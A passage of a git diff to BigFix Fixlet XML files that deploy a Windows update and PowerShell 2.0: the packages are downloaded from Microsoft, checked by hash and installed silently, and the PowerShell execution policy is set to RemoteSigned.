+continue if {exists running service "wuauserv" OR NOT exists service "wuauserv" whose (start type of it = "disabled")}
+wait {system folder as string & "\"}wusa.exe __Download\Win7AndW2K8R2-KB3134760-x64.msu /quiet /norestart
+action requires restart "d720851ef4b5a37c1c8bdd2e5bf4c77dcc625e8c"]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action23448">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to&amp;nbsp;read up on&amp;nbsp;the Knowledge Base Article for this update.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://go.microsoft.com/fwlink/?LinkID=717903</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (3964).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (3964).bes
index bdd068c6e..869b49ed2 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (3964).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (3964).bes	
@@ -1,98 +1,98 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Windows PowerShell 2.0 Available
-  ID       : 3964
-  Author   : rafansm
-  Domain   : BESC
-  Imported : 2015-01-30T09:45:45
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Windows PowerShell 2.0 Available</Title>
-    <Description><![CDATA[<P>Install Windows PowerShell version 2.0 </P>
-<P>After the installation of PowerShell in Windows 2008 servers it will be required reboot the server.</P>]]></Description>
-    <Relevance>(name of it = &quot;WinXP&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR name of it = &quot;WinXPe&quot;) of operating system AND TRUE</Relevance>
-    <Relevance><![CDATA[NOT ( exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry ) OR ( (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry) AND (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version < "2.0") of registry) )]]></Relevance>
-    <Category>Update</Category>
-    <Source>rafansm@br.ibm.com</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2015-01-23</SourceReleaseDate>
-    <MIMEField>
-      <Name>IEM GTS Support Team</Name>
-      <Value>PowerShell</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-modification-time</Name>
-      <Value>Fri, 23 Jan 2015 13:46:56 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 23 Jan 2015 17:41:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this software.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {((name of it = "WinXP") OR (name of it = "WinXPe")) of operating system AND TRUE}
-	download http://download.microsoft.com/download/E/C/E/ECE99583-2003-455D-B681-68DB610B44A4/WindowsXP-KB968930-x86-ENG.exe
-	continue if {(size of it = 6156064 AND sha1 of it = "540d661066953d76a6907b6ee0d1cd4531c1e1c6") of file "WindowsXP-KB968930-x86-ENG.exe" of folder "__Download"}
-	wait __Download\WindowsXP-KB968930-x86-ENG.exe /quiet /norestart
-
-elseif {(name of it = "WinVista" AND product type of it = nt workstation product type AND x64 of it) of operating system AND TRUE}
-	download http://download.microsoft.com/download/3/C/8/3C8CF51E-1D9D-4DAA-AAEA-5C48D1CD055C/Windows6.0-KB968930-x64.msu
-	continue if {(size of it = 35922892 AND sha1 of it = "4de013d593181a2a04217ce3b0e7536ab56995aa") of file "Windows6.0-KB968930-x64.msu" of folder "__Download"}
-	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x64.msu"}" /quiet /norestart
-
-elseif {((name of it = "WinVista" AND product type of it = nt workstation product type AND NOT x64 of it)) of operating system AND TRUE}
-	download http://download.microsoft.com/download/A/7/5/A75BC017-63CE-47D6-8FA4-AFB5C21BAC54/Windows6.0-KB968930-x86.msu
-	continue if {(size of it = 34059625 AND sha1 of it = "16fd2e93be2e7265821191119ddfc0cdaa6f4243") of file "Windows6.0-KB968930-x86.msu" of folder "__Download"}
-	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x86.msu"}" /quiet /norestart
-
-elseif {((name of it = "Win2003" AND x64 of it)) of operating system AND TRUE}
-	download http://download.microsoft.com/download/B/D/9/BD9BB1FF-6609-4B10-9334-6D0C58066AA7/WindowsServer2003-KB968930-x64-ENG.exe
-	continue if {(size of it = 10334496 AND sha1 of it = "8ba702aa016e4c5aed581814647f4d55635eff5c") of file "WindowsServer2003-KB968930-x64-ENG.exe" of folder "__Download"}
-	waithidden __Download\WindowsServer2003-KB968930-x64-ENG.exe /quiet /norestart
-
-elseif {((name of it = "Win2003" AND NOT x64 of it)) of operating system AND TRUE}
-	download http://download.microsoft.com/download/1/1/7/117FB25C-BB2D-41E1-B01E-0FEB0BC72C30/WindowsServer2003-KB968930-x86-ENG.exe
-	continue if {(size of it = 6300960 AND sha1 of it = "843dca5f32b47a3bc36cb4d7f3a92dfd2fcdddb3") of file "WindowsServer2003-KB968930-x86-ENG.exe" of folder "__Download"}
-	waithidden __Download\WindowsServer2003-KB968930-x86-ENG.exe /quiet /norestart
-
-elseif {(((name of it = "Win2008" or (name of it = "WinVista" and product type of it != nt workstation product type)) AND x64 of it)) of operating system AND TRUE}
-	download http://download.microsoft.com/download/2/8/6/28686477-3242-4E96-9009-30B16BED89AF/Windows6.0-KB968930-x64.msu
-	continue if {(size of it = 35922892 AND sha1 of it = "4de013d593181a2a04217ce3b0e7536ab56995aa") of file "Windows6.0-KB968930-x64.msu" of folder "__Download"}
-	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x64.msu"}" /quiet /norestart
-
-elseif {(((name of it = "Win2008" or (name of it = "WinVista" and product type of it != nt workstation product type)) AND NOT x64 of it)) of operating system AND TRUE}
-	download http://download.microsoft.com/download/F/9/E/F9EF6ACB-2BA8-4845-9C10-85FC4A69B207/Windows6.0-KB968930-x86.msu
-	continue if {(size of it = 34059625 AND sha1 of it = "16fd2e93be2e7265821191119ddfc0cdaa6f4243") of file "Windows6.0-KB968930-x86.msu" of folder "__Download"}
-	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x86.msu "}" /quiet /norestart
-
-endif
-
-parameter "curExecutionPolicy"="{if exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) then if exists value "ExecutionPolicy" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) then (value "ExecutionPolicy" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) as string) else "" else ""}"
-if {(parameter "curExecutionPolicy" = "") OR (parameter "curExecutionPolicy" = "Restricted")}
-	if {x64 of operating system}
-		regset64 "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]" "ExecutionPolicy"="RemoteSigned"
-	else
-		regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]" "ExecutionPolicy"="RemoteSigned"
-	endif
-endif]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action4406">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to learn more about PowerShell v2.0.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/968929</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Windows PowerShell 2.0 Available
+  ID       : 3964
+  Author   : rafansm
+  Domain   : BESC
+  Imported : 2015-01-30T09:45:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Windows PowerShell 2.0 Available</Title>
+    <Description><![CDATA[<P>Install Windows PowerShell version 2.0 </P>
+<P>After the installation of PowerShell in Windows 2008 servers it will be required reboot the server.</P>]]></Description>
+    <Relevance>(name of it = &quot;WinXP&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR name of it = &quot;WinXPe&quot;) of operating system AND TRUE</Relevance>
+    <Relevance><![CDATA[NOT ( exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry ) OR ( (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry) AND (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version < "2.0") of registry) )]]></Relevance>
+    <Category>Update</Category>
+    <Source>rafansm@br.ibm.com</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2015-01-23</SourceReleaseDate>
+    <MIMEField>
+      <Name>IEM GTS Support Team</Name>
+      <Value>PowerShell</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Fri, 23 Jan 2015 13:46:56 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 23 Jan 2015 17:41:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this software.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {((name of it = "WinXP") OR (name of it = "WinXPe")) of operating system AND TRUE}
+	download http://download.microsoft.com/download/E/C/E/ECE99583-2003-455D-B681-68DB610B44A4/WindowsXP-KB968930-x86-ENG.exe
+	continue if {(size of it = 6156064 AND sha1 of it = "540d661066953d76a6907b6ee0d1cd4531c1e1c6") of file "WindowsXP-KB968930-x86-ENG.exe" of folder "__Download"}
+	wait __Download\WindowsXP-KB968930-x86-ENG.exe /quiet /norestart
+
+elseif {(name of it = "WinVista" AND product type of it = nt workstation product type AND x64 of it) of operating system AND TRUE}
+	download http://download.microsoft.com/download/3/C/8/3C8CF51E-1D9D-4DAA-AAEA-5C48D1CD055C/Windows6.0-KB968930-x64.msu
+	continue if {(size of it = 35922892 AND sha1 of it = "4de013d593181a2a04217ce3b0e7536ab56995aa") of file "Windows6.0-KB968930-x64.msu" of folder "__Download"}
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x64.msu"}" /quiet /norestart
+
+elseif {((name of it = "WinVista" AND product type of it = nt workstation product type AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/A/7/5/A75BC017-63CE-47D6-8FA4-AFB5C21BAC54/Windows6.0-KB968930-x86.msu
+	continue if {(size of it = 34059625 AND sha1 of it = "16fd2e93be2e7265821191119ddfc0cdaa6f4243") of file "Windows6.0-KB968930-x86.msu" of folder "__Download"}
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x86.msu"}" /quiet /norestart
+
+elseif {((name of it = "Win2003" AND x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/B/D/9/BD9BB1FF-6609-4B10-9334-6D0C58066AA7/WindowsServer2003-KB968930-x64-ENG.exe
+	continue if {(size of it = 10334496 AND sha1 of it = "8ba702aa016e4c5aed581814647f4d55635eff5c") of file "WindowsServer2003-KB968930-x64-ENG.exe" of folder "__Download"}
+	waithidden __Download\WindowsServer2003-KB968930-x64-ENG.exe /quiet /norestart
+
+elseif {((name of it = "Win2003" AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/1/1/7/117FB25C-BB2D-41E1-B01E-0FEB0BC72C30/WindowsServer2003-KB968930-x86-ENG.exe
+	continue if {(size of it = 6300960 AND sha1 of it = "843dca5f32b47a3bc36cb4d7f3a92dfd2fcdddb3") of file "WindowsServer2003-KB968930-x86-ENG.exe" of folder "__Download"}
+	waithidden __Download\WindowsServer2003-KB968930-x86-ENG.exe /quiet /norestart
+
+elseif {(((name of it = "Win2008" or (name of it = "WinVista" and product type of it != nt workstation product type)) AND x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/2/8/6/28686477-3242-4E96-9009-30B16BED89AF/Windows6.0-KB968930-x64.msu
+	continue if {(size of it = 35922892 AND sha1 of it = "4de013d593181a2a04217ce3b0e7536ab56995aa") of file "Windows6.0-KB968930-x64.msu" of folder "__Download"}
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x64.msu"}" /quiet /norestart
+
+elseif {(((name of it = "Win2008" or (name of it = "WinVista" and product type of it != nt workstation product type)) AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/F/9/E/F9EF6ACB-2BA8-4845-9C10-85FC4A69B207/Windows6.0-KB968930-x86.msu
+	continue if {(size of it = 34059625 AND sha1 of it = "16fd2e93be2e7265821191119ddfc0cdaa6f4243") of file "Windows6.0-KB968930-x86.msu" of folder "__Download"}
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x86.msu "}" /quiet /norestart
+
+endif
+
+parameter "curExecutionPolicy"="{if exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) then if exists value "ExecutionPolicy" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) then (value "ExecutionPolicy" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) as string) else "" else ""}"
+if {(parameter "curExecutionPolicy" = "") OR (parameter "curExecutionPolicy" = "Restricted")}
+	if {x64 of operating system}
+		regset64 "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]" "ExecutionPolicy"="RemoteSigned"
+	else
+		regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]" "ExecutionPolicy"="RemoteSigned"
+	endif
+endif]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action4406">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about PowerShell v2.0.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/968929</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (3966).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (3966).bes
index ab7c12cc9..f8395511f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (3966).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (3966).bes	
@@ -1,98 +1,98 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Windows PowerShell 2.0 Available
-  ID       : 3966
-  Author   : rafansm
-  Domain   : BESC
-  Imported : 2015-01-30T09:49:06
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Windows PowerShell 2.0 Available</Title>
-    <Description><![CDATA[<P>Install Windows PowerShell version 2.0 </P>
-<P>After the installation of PowerShell in Windows 2008 servers it will be required reboot the server.</P>]]></Description>
-    <Relevance>(name of it = &quot;WinXP&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR name of it = &quot;WinXPe&quot;) of operating system AND TRUE</Relevance>
-    <Relevance><![CDATA[NOT ( exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry ) OR ( (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry) AND (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version < "2.0") of registry) )]]></Relevance>
-    <Category>Update</Category>
-    <Source>rafansm@br.ibm.com</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2015-01-23</SourceReleaseDate>
-    <MIMEField>
-      <Name>IEM GTS Support Team</Name>
-      <Value>PowerShell</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-modification-time</Name>
-      <Value>Fri, 23 Jan 2015 13:46:56 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 23 Jan 2015 17:41:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this software.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {((name of it = "WinXP") OR (name of it = "WinXPe")) of operating system AND TRUE}
-	download http://download.microsoft.com/download/E/C/E/ECE99583-2003-455D-B681-68DB610B44A4/WindowsXP-KB968930-x86-ENG.exe
-	continue if {(size of it = 6156064 AND sha1 of it = "540d661066953d76a6907b6ee0d1cd4531c1e1c6") of file "WindowsXP-KB968930-x86-ENG.exe" of folder "__Download"}
-	wait __Download\WindowsXP-KB968930-x86-ENG.exe /quiet /norestart
-
-elseif {(name of it = "WinVista" AND product type of it = nt workstation product type AND x64 of it) of operating system AND TRUE}
-	download http://download.microsoft.com/download/3/C/8/3C8CF51E-1D9D-4DAA-AAEA-5C48D1CD055C/Windows6.0-KB968930-x64.msu
-	continue if {(size of it = 35922892 AND sha1 of it = "4de013d593181a2a04217ce3b0e7536ab56995aa") of file "Windows6.0-KB968930-x64.msu" of folder "__Download"}
-	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x64.msu"}" /quiet /norestart
-
-elseif {((name of it = "WinVista" AND product type of it = nt workstation product type AND NOT x64 of it)) of operating system AND TRUE}
-	download http://download.microsoft.com/download/A/7/5/A75BC017-63CE-47D6-8FA4-AFB5C21BAC54/Windows6.0-KB968930-x86.msu
-	continue if {(size of it = 34059625 AND sha1 of it = "16fd2e93be2e7265821191119ddfc0cdaa6f4243") of file "Windows6.0-KB968930-x86.msu" of folder "__Download"}
-	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x86.msu"}" /quiet /norestart
-
-elseif {((name of it = "Win2003" AND x64 of it)) of operating system AND TRUE}
-	download http://download.microsoft.com/download/B/D/9/BD9BB1FF-6609-4B10-9334-6D0C58066AA7/WindowsServer2003-KB968930-x64-ENG.exe
-	continue if {(size of it = 10334496 AND sha1 of it = "8ba702aa016e4c5aed581814647f4d55635eff5c") of file "WindowsServer2003-KB968930-x64-ENG.exe" of folder "__Download"}
-	waithidden __Download\WindowsServer2003-KB968930-x64-ENG.exe /quiet /norestart
-
-elseif {((name of it = "Win2003" AND NOT x64 of it)) of operating system AND TRUE}
-	download http://download.microsoft.com/download/1/1/7/117FB25C-BB2D-41E1-B01E-0FEB0BC72C30/WindowsServer2003-KB968930-x86-ENG.exe
-	continue if {(size of it = 6300960 AND sha1 of it = "843dca5f32b47a3bc36cb4d7f3a92dfd2fcdddb3") of file "WindowsServer2003-KB968930-x86-ENG.exe" of folder "__Download"}
-	waithidden __Download\WindowsServer2003-KB968930-x86-ENG.exe /quiet /norestart
-
-elseif {(((name of it = "Win2008" or (name of it = "WinVista" and product type of it != nt workstation product type)) AND x64 of it)) of operating system AND TRUE}
-	download http://download.microsoft.com/download/2/8/6/28686477-3242-4E96-9009-30B16BED89AF/Windows6.0-KB968930-x64.msu
-	continue if {(size of it = 35922892 AND sha1 of it = "4de013d593181a2a04217ce3b0e7536ab56995aa") of file "Windows6.0-KB968930-x64.msu" of folder "__Download"}
-	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x64.msu"}" /quiet /norestart
-
-elseif {(((name of it = "Win2008" or (name of it = "WinVista" and product type of it != nt workstation product type)) AND NOT x64 of it)) of operating system AND TRUE}
-	download http://download.microsoft.com/download/F/9/E/F9EF6ACB-2BA8-4845-9C10-85FC4A69B207/Windows6.0-KB968930-x86.msu
-	continue if {(size of it = 34059625 AND sha1 of it = "16fd2e93be2e7265821191119ddfc0cdaa6f4243") of file "Windows6.0-KB968930-x86.msu" of folder "__Download"}
-	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x86.msu "}" /quiet /norestart
-
-endif
-
-parameter "curExecutionPolicy"="{if exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) then if exists value "ExecutionPolicy" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) then (value "ExecutionPolicy" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) as string) else "" else ""}"
-if {(parameter "curExecutionPolicy" = "") OR (parameter "curExecutionPolicy" = "Restricted")}
-	if {x64 of operating system}
-		regset64 "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]" "ExecutionPolicy"="RemoteSigned"
-	else
-		regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]" "ExecutionPolicy"="RemoteSigned"
-	endif
-endif]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action4410">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to learn more about PowerShell v2.0.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/968929</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Windows PowerShell 2.0 Available
+  ID       : 3966
+  Author   : rafansm
+  Domain   : BESC
+  Imported : 2015-01-30T09:49:06
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Windows PowerShell 2.0 Available</Title>
+    <Description><![CDATA[<P>Install Windows PowerShell version 2.0 </P>
+<P>After the installation of PowerShell in Windows 2008 servers it will be required reboot the server.</P>]]></Description>
+    <Relevance>(name of it = &quot;WinXP&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR name of it = &quot;WinXPe&quot;) of operating system AND TRUE</Relevance>
+    <Relevance><![CDATA[NOT ( exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry ) OR ( (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry) AND (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version < "2.0") of registry) )]]></Relevance>
+    <Category>Update</Category>
+    <Source>rafansm@br.ibm.com</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2015-01-23</SourceReleaseDate>
+    <MIMEField>
+      <Name>IEM GTS Support Team</Name>
+      <Value>PowerShell</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Fri, 23 Jan 2015 13:46:56 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 23 Jan 2015 17:41:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this software.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {((name of it = "WinXP") OR (name of it = "WinXPe")) of operating system AND TRUE}
+	download http://download.microsoft.com/download/E/C/E/ECE99583-2003-455D-B681-68DB610B44A4/WindowsXP-KB968930-x86-ENG.exe
+	continue if {(size of it = 6156064 AND sha1 of it = "540d661066953d76a6907b6ee0d1cd4531c1e1c6") of file "WindowsXP-KB968930-x86-ENG.exe" of folder "__Download"}
+	wait __Download\WindowsXP-KB968930-x86-ENG.exe /quiet /norestart
+
+elseif {(name of it = "WinVista" AND product type of it = nt workstation product type AND x64 of it) of operating system AND TRUE}
+	download http://download.microsoft.com/download/3/C/8/3C8CF51E-1D9D-4DAA-AAEA-5C48D1CD055C/Windows6.0-KB968930-x64.msu
+	continue if {(size of it = 35922892 AND sha1 of it = "4de013d593181a2a04217ce3b0e7536ab56995aa") of file "Windows6.0-KB968930-x64.msu" of folder "__Download"}
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x64.msu"}" /quiet /norestart
+
+elseif {((name of it = "WinVista" AND product type of it = nt workstation product type AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/A/7/5/A75BC017-63CE-47D6-8FA4-AFB5C21BAC54/Windows6.0-KB968930-x86.msu
+	continue if {(size of it = 34059625 AND sha1 of it = "16fd2e93be2e7265821191119ddfc0cdaa6f4243") of file "Windows6.0-KB968930-x86.msu" of folder "__Download"}
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x86.msu"}" /quiet /norestart
+
+elseif {((name of it = "Win2003" AND x64 of it)) of operating system AND TRUE}
